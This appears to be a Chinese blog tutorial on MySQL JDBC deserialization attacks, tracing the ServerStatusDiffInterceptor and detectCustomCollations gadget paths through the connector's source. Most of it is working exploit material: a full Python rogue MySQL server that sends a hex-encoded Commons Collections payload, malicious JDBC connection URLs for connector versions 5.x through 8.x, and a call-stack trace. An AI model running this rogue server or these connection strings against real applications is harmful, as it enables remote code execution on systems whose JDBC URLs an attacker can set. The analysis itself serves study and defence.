条件
- Jdbc可控且目标机器出网。
- 存在反序列化利用链的漏洞组件例如cc链那些。
前置知识
- BLOB为二进制形式的长文本数据
- BIT类型(Bit数据类型用来存储bit值)数据
- queryInterceptors:一个逗号分割的Class列表(实现了com.mysql.cj.interceptors.QueryInterceptor接口的Class),在Query”之间”进行执行来影响结果。(效果上来看是在Query执行前后各插入一次操作)
- autoDeserialize:自动检测与反序列化存在BLOB字段中的对象
这里其实最主要的点是在与这个queryInterceptors参数,引用其他师傅的解释:
它允许你指定一个或多个实现了 com.mysql.cj.interceptors.QueryInterceptor
接口的类。这些类的目的是在执行 SQL 查询前后进行拦截和操纵,你完全可以理解为,只要JDBC带上了这个,在执行SQL语句前 和 后 他就会有一层类似的Filter
,默认调用其 预处理preProcess
和后处理postProcess
等方法!!!
ServerStatusDiffInterceptor链
8.0.7-8.0.20
依赖
1 2 3 4 5
| <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.13</version> </dependency>
|
调用链分析
先来找到调用readObject的地方,毕竟这里是反序列化的执行点。
找到了com.mysql.cj.jdbc.result.ResultSetImpl
这个类的getobject
方法可以看到调用了readObject方法,接着去寻找哪里调用了getobject方法
找到了 com.mysql.cj.jdbc.util.ResultSetUtil
类的resultSetToMap()
方法,在继续寻找调用resultSetToMap方法的地方
找到com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
类的populateMapWithSessionStatusValues()
方法,还要继续寻找谁调用了它
可以找到在其同类下的preProcess
方法调用了它,到此为止链子就算可以闭合了。为什么这么说呢,是因为mysql在执行getconect进行连接时会调用一系列的方法触发我们手动配置的queryInterceptors(可以类比于一个拦截查询器),如果不为空的话就会调用preProcess方法,接着就会调用populateMapWithSessionStatusValues方法并且执行一个SHOW SESSION STATUS
sql语句,并将返回的结果放入resultSetToMap
方法中再去调用getobject
方法从而触发漏洞。
仅凭语言描述还是比较抽象,搭建一个恶意mysql服务端,来跟进一下执行了getConnection
方法的流程
Mysql客户端
1 2 3 4 5 6 7 8 9 10 11 12 13
| package com.ocean; import java.sql.*; public class Jdbc8 { public static void main(String[] args) throws ClassNotFoundException, SQLException { String driver = "com.mysql.cj.jdbc.Driver"; String DB_URL = "jdbc:mysql://127.0.0.1:59716/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_open -a Calculator"; Class.forName(driver); Connection conn = DriverManager.getConnection(DB_URL); } }
|
Mysql服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| import socket import binascii import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400" response_ok_data="0700000200000002000000"
def receive_data(conn): data = conn.recv(1024) print("[*] Receiveing the package : {}".format(data)) return str(data).lower()
def send_data(conn,data): print("[*] Sending the package : {}".format(data)) conn.send(binascii.a2b_hex(data))
def get_payload_content(): file= r'payload' if os.path.isfile(file): with open(file, 'rb') as f: payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8') print("open successs")
else: print("open false") payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878' return payload_content
def run():
while 1: conn, addr = sk.accept() print("Connection come from {}:{}".format(addr[0],addr[1]))
send_data(conn,greeting_data)
while True: receive_data(conn) send_data(conn,response_ok_data)
data=receive_data(conn) if "session.auto_increment_increment" in data: _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000' send_data(conn,_payload) data=receive_data(conn) elif "show warnings" in data: _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000' send_data(conn, _payload) data = receive_data(conn) if "set names" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "set character_set_results" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "show session status" in data: mysql_data = '0100000102' mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000' mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000' payload_content=get_payload_content() payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4) payload_length_hex = payload_length[2:4] + payload_length[0:2] data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6) data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2] mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex mysql_data += str(payload_content) mysql_data += '07000005fe000022000100' send_data(conn, mysql_data) data = receive_data(conn) if "show warnings" in data: payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000' send_data(conn, payload) break
if __name__ == '__main__': HOST ='0.0.0.0' PORT = 3307
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sk.bind((HOST, PORT)) sk.listen(1)
print("start fake mysql server listening on {}:{}".format(HOST,PORT))
run()
|
也可以采用如下项目
https://github.com/fnmsd/MySQL_Fake_Server
https://github.com/4ra1n/mysql-fake-server
我这里采用的是4ra1n师傅的项目复现的
可以成功复现。下面就来看看流程
可以看到这里又调用了getConnection
继续跟进去看看
调用了connect
方法
参数没什么变化,会进入到第一个case里,然后调用getInstance
方法
返回一个ConnectionImpl
方法跟进去
这里就是一些 evil mysql的一些参数
下面会调用一个initializeSafeQueryInterceptors
方法,跟进去
这里就是一些初始化的操作,继续跟下去,跟进createNewIO
方法
会调用connectOneTryOnly
方法并且参数是false,跟进去
继续初始化
调用了handleAutoCommitDefaults
方法跟进去
调用setAutoCommit
设置为True
执行sql语句跟进
这里会向服务端发送数据包,跟进sendQueryString
方法
最后返回sendQueryPacket
方法跟进
会调用invokeQueryInterceptorsPre
方法
这里有熟悉的preProcess方法了,继续跟进
继续调用
可以看到熟悉的东西了,跟进去
上面的sql语句查询恶意的服务端会返回序列化数据,然后调用resultSetToMap
方法在调用getObject方法实现反序列化。
列一下调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| transform:123, ChainedTransformer (org.apache.commons.collections.functors) get:158, LazyMap (org.apache.commons.collections.map) getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue) hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue) hash:338, HashMap (java.util) put:611, HashMap (java.util) readObject:334, HashSet (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:1900, ObjectInputStream (java.io) readOrdinaryObject:1801, ObjectInputStream (java.io) readObject0:1351, ObjectInputStream (java.io) readObject:371, ObjectInputStream (java.io) getObject:1326, ResultSetImpl (com.mysql.cj.jdbc.result) resultSetToMap:46, ResultSetUtil (com.mysql.cj.jdbc.util) populateMapWithSessionStatusValues:87, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors) preProcess:105, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors) preProcess:76, NoSubInterceptorWrapper (com.mysql.cj) invokeQueryInterceptorsPre:1137, NativeProtocol (com.mysql.cj.protocol.a) sendQueryPacket:963, NativeProtocol (com.mysql.cj.protocol.a) sendQueryString:914, NativeProtocol (com.mysql.cj.protocol.a) execSQL:1150, NativeSession (com.mysql.cj) setAutoCommit:2064, ConnectionImpl (com.mysql.cj.jdbc) handleAutoCommitDefaults:1382, ConnectionImpl (com.mysql.cj.jdbc) initializePropsFromServer:1327, ConnectionImpl (com.mysql.cj.jdbc) connectOneTryOnly:966, ConnectionImpl (com.mysql.cj.jdbc) createNewIO:825, ConnectionImpl (com.mysql.cj.jdbc) <init>:455, ConnectionImpl (com.mysql.cj.jdbc) getInstance:240, ConnectionImpl (com.mysql.cj.jdbc) connect:207, NonRegisteringDriver (com.mysql.cj.jdbc) getConnection:664, DriverManager (java.sql) getConnection:270, DriverManager (java.sql) main:10, Jdbc8 (com.ocean)
|
这里的jdbc版本是8,低版本大致流程也是这样,只有少数异同点,但最后都是进入getObject方法触发反序列化
5.1.0-5.1.10
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package com.ocean; import com.mysql.jdbc.PreparedStatement; import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.SQLException; public class Jdbc5 { public static void main(String[] args) throws ClassNotFoundException, SQLException { String url = "jdbc:mysql://127.0.0.1:59716/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_open -a Calculator"; Class.forName("com.mysql.jdbc.Driver"); Connection connection = DriverManager.getConnection(url); String sql = "select database()"; PreparedStatement ps = (PreparedStatement) connection.prepareStatement(sql);
ResultSet resultSet = ps.executeQuery(); } }
|
5.1.11-5.x.xx
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package com.ocean; import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException; public class Jdbc5_1 { public static void main(String[] args) throws SQLException, ClassNotFoundException { String url = "jdbc:mysql://127.0.0.1:59716/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_open -a Calculator"; Class.forName("com.mysql.jdbc.Driver"); Connection connection = DriverManager.getConnection(url); } }
|
6.x
1 2 3 4 5 6 7 8 9 10 11 12 13
| package com.ocean; import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException; public class Jdbc6 { public static void main(String[] args) throws ClassNotFoundException, SQLException { String url = "jdbc:mysql://127.0.0.1:59716/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_open -a Calculator"; Class.forName("com.mysql.jdbc.Driver"); Connection connection = DriverManager.getConnection(url); } }
|
detectCustomCollations链
这里的不同点在与走的是 com.mysql.cj.jdbc.ConnectionImpl
类的buildCollationMapping
方法之后都是一个流程前面也是一样的
列一下可以用的版本
1 2 3 4 5 6 7 8 9 10 11 12 13
| (1) MYSQL5.1.41及以上: 不可用
(2) MYSQL5.1.29-5.1.40:
jdbc:mysql:
(3) MYSQL5.1.28-5.1.19:
jdbc:mysql:
(4) MYSQL5.1.18以下的5.1.x版本: 不可用
(5) MYSQL5.0.x版本: 不可用
|
剩下的就是依然可以利用工具进行复现就不在复现了。
5.1.41-5.1.48
1 2 3 4 5
| String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections4_calc"; String username = "yso_CommonsCollections4_calc"; String password = ""; Class.forName("com.mysql.jdbc.Driver"); conn = DriverManager.getConnection(url,username,password);
|
5.1.29-5.1.40
1 2 3 4 5
| String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections4_calc"; String username = "yso_CommonsCollections4_calc"; String password = ""; Class.forName("com.mysql.jdbc.Driver"); conn = DriverManager.getConnection(url,username,password);
|
5.1.19-5.1.28
1 2 3 4 5
| String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_CommonsCollections4_calc"; String username = "yso_CommonsCollections4_calc"; String password = ""; Class.forName("com.mysql.jdbc.Driver"); conn = DriverManager.getConnection(url,username,password);
|
6.0.2-6.0.6
1 2 3 4 5 6
| Connection conn=null; String url = "jdbc:mysql://127.0.0.1:3309/mysql?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections7_calc"; String username = "yso_CommonsCollections7_calc"; String password = ""; Class.forName("com.mysql.jdbc.Driver"); conn = DriverManager.getConnection(url, username, password);
|
参考文章:
https://forum.butian.net/share/2872
https://boogipop.com/2023/03/11/WebDog%E5%BF%85%E5%AD%A6%E7%9A%84JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/